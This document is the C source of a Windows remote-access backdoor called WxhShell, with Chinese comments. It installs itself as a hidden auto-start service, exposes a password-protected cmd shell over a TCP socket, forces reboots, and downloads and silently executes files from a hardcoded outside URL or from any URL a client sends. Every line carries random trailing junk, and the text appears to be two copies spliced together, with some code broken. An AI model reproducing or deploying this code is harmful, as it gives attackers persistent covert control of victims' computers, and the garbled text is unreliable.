    if(Boot(SHUTDOWN)) LJTo\^*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vtX"Fdz  
    else { tY/vL^mi  
    closesocket(wsh); k4\UK#ODe  
    ExitThread(0); zr_yO`{  
    } p9[6^rjx8  
    break; E4%j.  
    } .qD@ Y3-  
  // 获取shell \OwpD,'  
  case 's': { ig#r4nQ=  
    CmdShell(wsh); Ao.\  
    closesocket(wsh); u?H 2%hD  
    ExitThread(0); 7[#xOZT  
    break; 1=VJ&D;  
  } l]Lx L  
  // 退出 1%~ZRmd e  
  case 'x': { c4mh EE-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v ! hY  
    CloseIt(wsh); Zj9c9  
    break; Fd$!wBL  
    } 2.I^Xf2  
  // 离开 }F=^O[  
  case 'q': { PX O!t]*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a:rX9-**  
    closesocket(wsh); F`+\>ae$h  
    WSACleanup(); Djt%r<  
    exit(1); )0 Z!n  
    break; 7'p8 a<x  
        } A#@_V'a8  
  } :z"!kzdJ  
  } YV'pVO'_+  
#;VA5<M8  
  // 提示信息 F iAY\4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^_5|BT@  
} ) ]6h y9<  
  } m?CZQq,  
oy.[+EI`|  
  return; s|yVAt|=  
} ;/O#4]2*  
':h =*v8a  
// shell模块句柄 Q(7ob}+jQ  
int CmdShell(SOCKET sock) +g*k*e>l  
{ 5p"BD'^:  
STARTUPINFO si; k#>hg#G  
ZeroMemory(&si,sizeof(si)); &m^@9E)S/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fC-P.:F#I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $9!D\N,}]C  
PROCESS_INFORMATION ProcessInfo; :*i f  
char cmdline[]="cmd"; | }&RXD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <E,%@  
  return 0; lTRl"`@S  
} ^c}J,tZ]  
e)^j+ l  
// 自身启动模式 @J 'YV{]  
int StartFromService(void) 0?Q_@Y  
{ <v 0*]NiX  
typedef struct `u'bRp  
{ %8.J=B  
  DWORD ExitStatus; pf"<!O[  
  DWORD PebBaseAddress; d=O3YNM:v  
  DWORD AffinityMask; .10y0F L4  
  DWORD BasePriority; \Q$HXK  
  ULONG UniqueProcessId; O~Wt600{E  
  ULONG InheritedFromUniqueProcessId; k\r(=cex6  
}   PROCESS_BASIC_INFORMATION; {jKI^aC<[  
j+4H}XyE  
PROCNTQSIP NtQueryInformationProcess; cW8\d  
`_X;.U.Mv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;az5ZsvN D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~g;   
m#e3%150{  
  HANDLE             hProcess; !BIOY!M  
  PROCESS_BASIC_INFORMATION pbi; s,]%dG!  
@p=AWi}\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U/{6% Qy  
  if(NULL == hInst ) return 0; bO5k6i  
U977#M Xf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rf-[svA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0u B'g+MU`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H].y w9  
P$GjF-!:  
  if (!NtQueryInformationProcess) return 0; | tQiFC  
Ey[On^$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6.1)IQkO  
  if(!hProcess) return 0; >x1p%^cA;=  
y@V_g'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {svn=H /  
3riw1r;Q  
  CloseHandle(hProcess); SO\/-]9#  
fl\aqtF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I`(l*U  
if(hProcess==NULL) return 0; =:,xxqy  
T GB_~Bqe  
HMODULE hMod; TJ8E"t*)  
char procName[255]; Joe_PS  
unsigned long cbNeeded; >O9o,o/6R  
hg@}@Wq\)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h0vob_Fdl  
tMx}*l|]  
  CloseHandle(hProcess); L)QE`24  
#L}+H!Myh  
if(strstr(procName,"services")) return 1; // 以服务启动 (6p]ZY  
?']h%'Q  
  return 0; // 注册表启动 zQ6p+R7D  
} DaHZ{T8>d  
9i5,2~  
// 主模块 J<gJc*Q  
int StartWxhshell(LPSTR lpCmdLine) r`S< A;  
{ X.F^$  
  SOCKET wsl; wXjFLg!g?  
BOOL val=TRUE; 3VnQnd E  
  int port=0; -~" :f8  
  struct sockaddr_in door; %h"z0@+  
X6+qpp  
  if(wscfg.ws_autoins) Install(); (UCK;k  
XZNY4/ 25G  
port=atoi(lpCmdLine); dx*qb  
DmVP  
if(port<=0) port=wscfg.ws_port; e(F42;$$  
22P$ ~ch  
  WSADATA data; l&YKD,H};  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U_l'3oPJw  
R #]jSiS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,5Pl\keY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )QagS.L{z  
  door.sin_family = AF_INET; m4E)qCvy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H=g.34  
  door.sin_port = htons(port); [[~w0G~1  
e}VBRvr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jeyLL<  
closesocket(wsl); :HxA`@Ok  
return 1; pCpb;<JG  
} yV3^Qtb!  
Wjh/M&,  
  if(listen(wsl,2) == INVALID_SOCKET) { Z}A%=Z\/3  
closesocket(wsl); P #F=c34u  
return 1; CBQhIvq.d  
} Uawpfgc}  
  Wxhshell(wsl); /N>e&e[35\  
  WSACleanup(); 8 #X5K  
>R{qESmP=  
return 0; LWsP ya  
x6afI<dm  
} d8SE,A&  
^ 5VK>  
// 以NT服务方式启动 Fhz*&JC#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , $Qo =  
{ wfL-oi'5  
DWORD   status = 0; Ogt]_  
  DWORD   specificError = 0xfffffff; U`Jy!x2m  
o[ENp'r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !}\4u tHY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ki0V8]HP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =@u 5|:  
  serviceStatus.dwWin32ExitCode     = 0; 0U/K7sZ  
  serviceStatus.dwServiceSpecificExitCode = 0; _ 7PMmW@  
  serviceStatus.dwCheckPoint       = 0; VN0mDh?E  
  serviceStatus.dwWaitHint       = 0; kY,U8a3!  
)5JU:jNy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D47R  
  if (hServiceStatusHandle==0) return; 6+V\t+aug  
@cRZk`|1n  
status = GetLastError(); -S,ln  
  if (status!=NO_ERROR) _UE)*l m+  
{ %;D+k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h=kQ$`j6  
    serviceStatus.dwCheckPoint       = 0; t:JI!DR  
    serviceStatus.dwWaitHint       = 0; {:c]|^w6  
    serviceStatus.dwWin32ExitCode     = status; vvB(r!  
    serviceStatus.dwServiceSpecificExitCode = specificError; "'^4*o9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j` E +qk  
    return; 5!C_X5M  
  } d0hhMx6$  
[ rNXQ` /  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wpA`(+J  
  serviceStatus.dwCheckPoint       = 0; I9o6k?$K  
  serviceStatus.dwWaitHint       = 0; wOQ#N++C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y=Z1Tdxa|  
} VN4yn| f/  
 I~,G  
// 处理NT服务事件,比如:启动、停止 e& ANp0|W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0Iud$Lu  
{ + SZYg[  
switch(fdwControl) #jpoHvt h  
{ %pu Lr'Y  
case SERVICE_CONTROL_STOP: =H0vE7{*  
  serviceStatus.dwWin32ExitCode = 0; D3Jr3 %>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,=(Z00#(  
  serviceStatus.dwCheckPoint   = 0; " +KJop  
  serviceStatus.dwWaitHint     = 0; at!Y3VywG  
  { }],Z;:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d;Hn#2C  
  } lcON+j  
  return; 9 7%0;a8  
case SERVICE_CONTROL_PAUSE: UE _fpq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =k}SD96  
  break; 9[v1h,L  
case SERVICE_CONTROL_CONTINUE: g#NZ ,~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2:}fe}  
  break; rA0,`}8\  
case SERVICE_CONTROL_INTERROGATE: 2)?(R;$,  
  break; 0U66y6  
}; gw+9x<e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H-rWDN#  
} ogM%N  
4vK8kkW1  
// 标准应用程序主函数 Dz!fpE'L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |VOg\[f  
{ Jxf~&!zR  
})vOaYT|-  
// 获取操作系统版本 Fhq9D{TeY,  
OsIsNt=GetOsVer(); `&M{cfp_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L+B?~_*  
r%wA&FQ8U  
  // 从命令行安装 {-9jm%N  
  if(strpbrk(lpCmdLine,"iI")) Install(); D/(L  
Q8p&Ki;i  
  // 下载执行文件 ,!G{5FF8:  
if(wscfg.ws_downexe) { 2^~<("+w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t<uYM  
  WinExec(wscfg.ws_filenam,SW_HIDE); %v5R#14[n  
} l>lW]W  
K.tlo^#^B[  
if(!OsIsNt) { O9v_y+M+M  
// 如果时win9x,隐藏进程并且设置为注册表启动 | sqZ$Mu  
HideProc(); <Y 4:'L6  
StartWxhshell(lpCmdLine); p\wJD1s  
} iMF<5fLH&  
else z;]CmR@Ki  
  if(StartFromService()) N5|Rmfo1  
  // 以服务方式启动 k1z$e*u&r  
  StartServiceCtrlDispatcher(DispatchTable); s*M@%_A?  
else Q^}%c U0  
  // 普通方式启动 fLN!EDq  
  StartWxhshell(lpCmdLine); NW$H"}+o  
{ PlK@#UN  
return 0; UbJ*'eoX  
} @mw "W{  
 hRaf#  
VCNT4m  
pvWau1ArNq  
=========================================== {!ZyCi19  
!.-tW7   
~KjJ\b)R  
lYf+V8{  
HCA{pR`  
p?(L'q"WK  
" }pNX@C#De  
n_[i0x7#  
#include <stdio.h> )\/ =M*  
#include <string.h> "yb WDWu  
#include <windows.h> [um&X=1V8  
#include <winsock2.h> LDT(]HJ  
#include <winsvc.h> Q.-*7h8  
#include <urlmon.h> AWr}"r?s  
e]+OO g&  
#pragma comment (lib, "Ws2_32.lib") qG8s;_G  
#pragma comment (lib, "urlmon.lib") dLh6:Gh8_I  
u.|~   
#define MAX_USER   100 // 最大客户端连接数 I\P Bu$Ww  
#define BUF_SOCK   200 // sock buffer ; ~ 4k7Uz  
#define KEY_BUFF   255 // 输入 buffer rp! LP#*  
;Kxbg>U  
#define REBOOT     0   // 重启 ucYkxi`x  
#define SHUTDOWN   1   // 关机 %(m ])  
V%L/8Q~  
#define DEF_PORT   5000 // 监听端口 V*n==Nb5L  
Go\VfLLw  
#define REG_LEN     16   // 注册表键长度 IFNWS,:  
#define SVC_LEN     80   // NT服务名长度 M.%shrJ/  
0Vv9BL{  
// 从dll定义API {g F0Xm%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sLh0&R7   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Tbnxx]J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9V!-ZG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z_z#QX>=D  
#Fd W/y5  
// wxhshell配置信息 x/TGp?\g  
struct WSCFG { e=f.y<  
  int ws_port;         // 监听端口 gy_$#e  
  char ws_passstr[REG_LEN]; // 口令 e$l 6gY  
  int ws_autoins;       // 安装标记, 1=yes 0=no =v-2@=NJ`K  
  char ws_regname[REG_LEN]; // 注册表键名 cf8-]G?tK  
  char ws_svcname[REG_LEN]; // 服务名 QX0 Y>&$ )  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ub)I66  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 : iCM=k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6v z1*\:H~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m@qqVRn#)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (i`(>I.(/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D&{ *AH%Q  
sOC&Q&eg  
}; ym%slg  
1M5 -pZ[D  
// default Wxhshell configuration 1 p\Ak  
struct WSCFG wscfg={DEF_PORT, UVX"fZ)  
    "xuhuanlingzhe", "n?<2 wso  
    1, YB!!/ SX4  
    "Wxhshell", UmP'L!  
    "Wxhshell", xfHyC'?  
            "WxhShell Service", %xg"Q |  
    "Wrsky Windows CmdShell Service", -CBD|fo[h  
    "Please Input Your Password: ", cH"@d^"+q|  
  1, W"sr$K2m|  
  "http://www.wrsky.com/wxhshell.exe", xb^ Mo.\[  
  "Wxhshell.exe" y4F^|kS) [  
    }; m6n hC  
f'{>AKi=C  
// 消息定义模块 LHi6:G"Y(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :m`/Q_y"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9YC&&0 C@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MW@DXbKVl  
char *msg_ws_ext="\n\rExit."; *8\(FVyG^  
char *msg_ws_end="\n\rQuit."; J?jeYW   
char *msg_ws_boot="\n\rReboot..."; - V=arm\#z  
char *msg_ws_poff="\n\rShutdown..."; h([0,:\  
char *msg_ws_down="\n\rSave to "; &'O?es|Lb  
h~ha  
char *msg_ws_err="\n\rErr!"; -CU,z|g+  
char *msg_ws_ok="\n\rOK!"; oh&Y< d0  
dF,DiRD  
char ExeFile[MAX_PATH]; @hT;Bo2G]  
int nUser = 0; <xF?~7  
HANDLE handles[MAX_USER]; M {xie  
int OsIsNt; 1g i}H)  
D44I"TgqD  
SERVICE_STATUS       serviceStatus; s/ S+ ec3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T Nci.']  
M[,^KJ!  
// 函数声明 SJ(9rhB5*.  
int Install(void); d| \#?W&  
int Uninstall(void); F*<Ws;j  
int DownloadFile(char *sURL, SOCKET wsh); \X opU"  
int Boot(int flag); ^ wQcB  
void HideProc(void); -A@U0=o  
int GetOsVer(void); @Z2/9K%1'  
int Wxhshell(SOCKET wsl); CjZ6NAHc  
void TalkWithClient(void *cs); jr1Se9u D  
int CmdShell(SOCKET sock); JS2!)aqc  
int StartFromService(void); +~:0Dxv W  
int StartWxhshell(LPSTR lpCmdLine); yHw!#gWM  
`q1}6U/k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m t.,4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); riEqW}{  
:eLLDp<  
// 数据结构和表定义 ^z?=?%{  
SERVICE_TABLE_ENTRY DispatchTable[] = D4\(:kF\Hg  
{ "GBUQ}  
{wscfg.ws_svcname, NTServiceMain}, g{&PrE'e9  
{NULL, NULL} mg/]4)SF  
}; Q2R>lzB  
`R ]&F$i(E  
// 自我安装 <M>#qd@c  
int Install(void) k7[)g]u  
{ @f'AWeJ2  
  char svExeFile[MAX_PATH]; OAyE/Q|  
  HKEY key; ,,2_/u\"/i  
  strcpy(svExeFile,ExeFile); Ua!Odju*w  
Ot"(uW4$[  
// 如果是win9x系统,修改注册表设为自启动 "lb\c  
if(!OsIsNt) { y7 <(,uT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LQ|<3]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7dx4~dF  
  RegCloseKey(key); 3~8AcX@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k dUc&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @) ]t8(  
  RegCloseKey(key); XAGiu;<,=  
  return 0; /iTH0@Kw;  
    } zkvH=wL  
  } n/:Z{  
} 8^NE=)cb7w  
else { m';|}z'  
OQ 0b$qw  
// 如果是NT以上系统,安装为系统服务 4v i B=>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 13]y)(  
if (schSCManager!=0) i@%L_[MtA  
{ @V*au:  
  SC_HANDLE schService = CreateService l$qmn$Uc  
  ( | eK,Td%  
  schSCManager, 7jD@Gp`" 3  
  wscfg.ws_svcname, zh?xIpY  
  wscfg.ws_svcdisp, I\)N\mov e  
  SERVICE_ALL_ACCESS, +._f.BRmX.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <:H  
  SERVICE_AUTO_START, SlM>";C\  
  SERVICE_ERROR_NORMAL, | H5Ync[s  
  svExeFile, agGgJ@  
  NULL, J#_\+G i  
  NULL, 4t"*)xy  
  NULL, "1E?3PFJ  
  NULL, G;Pt|F?c  
  NULL hlt9x.e.A  
  ); oKZ[0(4<  
  if (schService!=0) 6B4hSqjh  
  { 3BuD/bs  
  CloseServiceHandle(schService); * , |)~$=>  
  CloseServiceHandle(schSCManager); }"!6Xm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q oKQEG2  
  strcat(svExeFile,wscfg.ws_svcname); Iht mD@H}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sf#\6X<B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kjQIagw  
  RegCloseKey(key); =aX1:Z  
  return 0; "@F*$JGT y  
    } f4qS OVv  
  } @*AYm-k  
  CloseServiceHandle(schSCManager); >:(6{}b  
} 3g4vpKg6c  
} ~`a#h#  
}j]<&I}  
return 1; 6tCV{pgm  
} UeIqAG8  
Lcm~QF7cd  
// 自我卸载 j X^&4f  
int Uninstall(void) Rq~ >h99M  
{ VhJyWH%(  
  HKEY key; 23.y3t_?  
aH~x7N6!  
if(!OsIsNt) { q| de*~@-P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e%5'(V-y,  
  RegDeleteValue(key,wscfg.ws_regname); !]UU;8h~  
  RegCloseKey(key); ^$T!@ +:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4rGO8R  
  RegDeleteValue(key,wscfg.ws_regname); |R:v<  
  RegCloseKey(key); QmDhZ04f  
  return 0; _AsHw  
  } 3<Pyr-z h  
} Gff[c%I  
} EusfgU:  
else { I*`=[nR  
(PE8H~d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9|?(GG  
if (schSCManager!=0) &,6y(-  
{ \I`=JKYT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s|rZ>SLL  
  if (schService!=0) !Barc ,kA  
  { Oujlm|  
  if(DeleteService(schService)!=0) { U- UV<}  
  CloseServiceHandle(schService); .P0Qs&i  
  CloseServiceHandle(schSCManager); yScov)dp(  
  return 0; wb}N-8x  
  } IJb1) ZuR  
  CloseServiceHandle(schService); 5;i!PuL  
  } S &lTKYP  
  CloseServiceHandle(schSCManager);  el*pYI  
} }G:uzud10  
} e*'|iuDrY  
ofJ]`]~VG  
return 1; qyG636i  
} { "@b`  
1RUbY>K#U  
// 从指定url下载文件 ,VcD vZ7  
int DownloadFile(char *sURL, SOCKET wsh) h1UlLy 8  
{ wDC/w[4:  
  HRESULT hr; 1\.zOq#  
char seps[]= "/"; DJ2]NA$Q*  
char *token; *~lgU4  
char *file; g  cK"  
char myURL[MAX_PATH]; ^J}$y7  
char myFILE[MAX_PATH]; XCi]()TZ_  
~)_ ?:.Da  
strcpy(myURL,sURL); -aeo7C  
  token=strtok(myURL,seps); la"A$Tbu~  
  while(token!=NULL) +qW w-8  
  { $rQFM[  
    file=token; gp&& c,  
  token=strtok(NULL,seps); cTIwA:)D  
  } 6xzR*~ 7  
+K?N:w  
GetCurrentDirectory(MAX_PATH,myFILE); zl0:U2x7  
strcat(myFILE, "\\"); "6o}qeB l  
strcat(myFILE, file); I3rnCd(  
  send(wsh,myFILE,strlen(myFILE),0); He_(JXTP  
send(wsh,"...",3,0); ?e|:6a+[f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E<G@LT  
  if(hr==S_OK) R&|)y:bg|  
return 0; s2v#evI`+  
else @7Rt[2"e  
return 1; 8JOht(m  
SUi1*S  
} SlJ/OcAf#  
0<]!G|;|  
// 系统电源模块 /E  yg*#  
int Boot(int flag) 4l!Yop0h  
{ Rc.<0#  
  HANDLE hToken; P(i2bbU  
  TOKEN_PRIVILEGES tkp; 0N[DV]  
A =[f>8  
  if(OsIsNt) { uV$d7(N}"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IEr`6|X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ].T;x|  
    tkp.PrivilegeCount = 1; _wJ#jJz2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; = Vr[V@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gsq[ 9  
if(flag==REBOOT) { HNUR6H&Fta  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VGUDUM.8  
  return 0; @DC2ci >  
} e%0#"6}  
else { KXbYv62  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &EJ,k'7$  
  return 0; )"3oe ?  
} } fMFQA)  
  } b0=AQ/:  
  else { lGBdQc]IL  
if(flag==REBOOT) { G`lhvpifG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U*U )l$!  
  return 0; SK}g(X7IWH  
} Nl)jQ  
else { c(g^*8Pb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wq&c,H  
  return 0; Hwc8i"{9y\  
} b/}0 &VXo  
} ea}KxLC`,  
92_H!m/  
return 1; aNU%OeQA  
} ^M5uLm-_s  
<l/Qf[V  
// win9x进程隐藏模块 \~j(ui|  
void HideProc(void) PCnJ2  
{ `ViNSr):J  
/j\TmcnU^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %= ;K>D  
  if ( hKernel != NULL ) '=Y~Ir+  
  { :%]R x&08  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0nnq/u^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @<JQn^M  
    FreeLibrary(hKernel); J0bs$  
  } CnA)>4E*'  
gy`qEY~B&  
return; G"sc;nT  
} .JKaC>oX  
> o`RPWs  
// 获取操作系统版本 <q=B(J'  
int GetOsVer(void) b#j5fEY  
{ 6{WT;W>WT:  
  OSVERSIONINFO winfo; wf$ JuHPt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L(S.  
  GetVersionEx(&winfo); dj**,*s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FEswNB(]*  
  return 1; ee` =B  
  else >G7U7R}R  
  return 0; YWF<2l.  
} bvTkS EN  
%,RU)}  
// 客户端句柄模块 # TF  
int Wxhshell(SOCKET wsl) UbH=W(%  
{ %z(=GcWm  
  SOCKET wsh; a,9GSKXo1  
  struct sockaddr_in client; Nuq/_x  
  DWORD myID; t4uxon  
7J/3O[2  
  while(nUser<MAX_USER) 1D]wW%us  
{ V@f#/"u'  
  int nSize=sizeof(client); xc3Q7u!|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1Xc%%j  
  if(wsh==INVALID_SOCKET) return 1; JpiKZG@L  
3W0:0I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3|3lUU\I  
if(handles[nUser]==0) r6G)R+#  
  closesocket(wsh); 0[Aa2H*  
else vj0?b/5m  
  nUser++; <0}'#9>O  
  } ]uf_"D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j]^]p; An  
Lq^/Z4L  
  return 0; :wm^04<i   
} eD0@n :  
Q5JeL6t  
// 关闭 socket krU2S-  
void CloseIt(SOCKET wsh) H R  
{ P]GGnT(!  
closesocket(wsh); { q<l]jn9  
nUser--; 9 |Y?#oZ1  
ExitThread(0); A:Z:&(NtE:  
} U>XGJQ<NS  
) |a5Qxz  
// 客户端请求句柄 _i#Z'4?2E  
void TalkWithClient(void *cs) `R^VK-=C  
{ nceF4Ty  
0M p>X  
  SOCKET wsh=(SOCKET)cs; :QNEA3Q  
  char pwd[SVC_LEN]; {ar }.U  
  char cmd[KEY_BUFF]; E3qX$|.$/  
char chr[1]; LtBH4 A  
int i,j; OoNAW<  
&V L<Rx  
  while (nUser < MAX_USER) { Mtr~d  
>xN^#$ng}  
if(wscfg.ws_passstr) { qMkP/BjV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pcc%VQN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j&9~OXYv  
  //ZeroMemory(pwd,KEY_BUFF); Df9}YI ;?  
      i=0; (@Bm2gH  
  while(i<SVC_LEN) { [B[J%?NS  
iy 5  
  // 设置超时 I~I%z'"RQd  
  fd_set FdRead; RfD$@q9  
  struct timeval TimeOut; iu .{L(m  
  FD_ZERO(&FdRead); E:ytdaiT  
  FD_SET(wsh,&FdRead); ~Y(M>u.+!  
  TimeOut.tv_sec=8; Dcf`+?3  
  TimeOut.tv_usec=0; S^u!/ =&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V-31x)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,\M'jV"S K  
S.z;Bm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c?d#Bj ?  
  pwd=chr[0]; 1Sy#*  
  if(chr[0]==0xd || chr[0]==0xa) { _rM%N+$&d_  
  pwd=0; Z7v~;JzC#  
  break; _ :z~P<%s  
  } yQ}~ aA#h  
  i++; !l~hO  
    } I6\3wU~).  
A28w/ =e7  
  // 如果是非法用户,关闭 socket wcOAyo5(n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 R m$  
} xfzR>NU  
,ZSuo4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); La!PG Z{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bMZ0%(q  
5FMKJ7sC9  
while(1) { PQK_*hJG"  
\@xnC$dd/  
  ZeroMemory(cmd,KEY_BUFF); kBT uM"  
}yw\+fc  
      // 自动支持客户端 telnet标准   @ZVc!5J_,  
  j=0; 5*CwQJC<  
  while(j<KEY_BUFF) { IkvH8E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yDKX,  
  cmd[j]=chr[0]; C" sa.#}  
  if(chr[0]==0xa || chr[0]==0xd) { OV[-m;h|  
  cmd[j]=0; 0C7"*H0 R  
  break; eZv0"FK X  
  } ] !H<vR$8  
  j++; rEViw?^KT  
    } ldxUq,p  
A-~)7-  
  // 下载文件 ql4T@r3l}3  
  if(strstr(cmd,"http://")) { 5u&jNU5m_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^\!^#rO  
  if(DownloadFile(cmd,wsh)) b&ADj8cKC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); * n[6H  
  else 41.+3VP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3lJK[V{'#'  
  } >[p+L='  
  else { q"Xls(  
~2qFA2  
    switch(cmd[0]) { QK72 F  
  ;HC"hEc!  
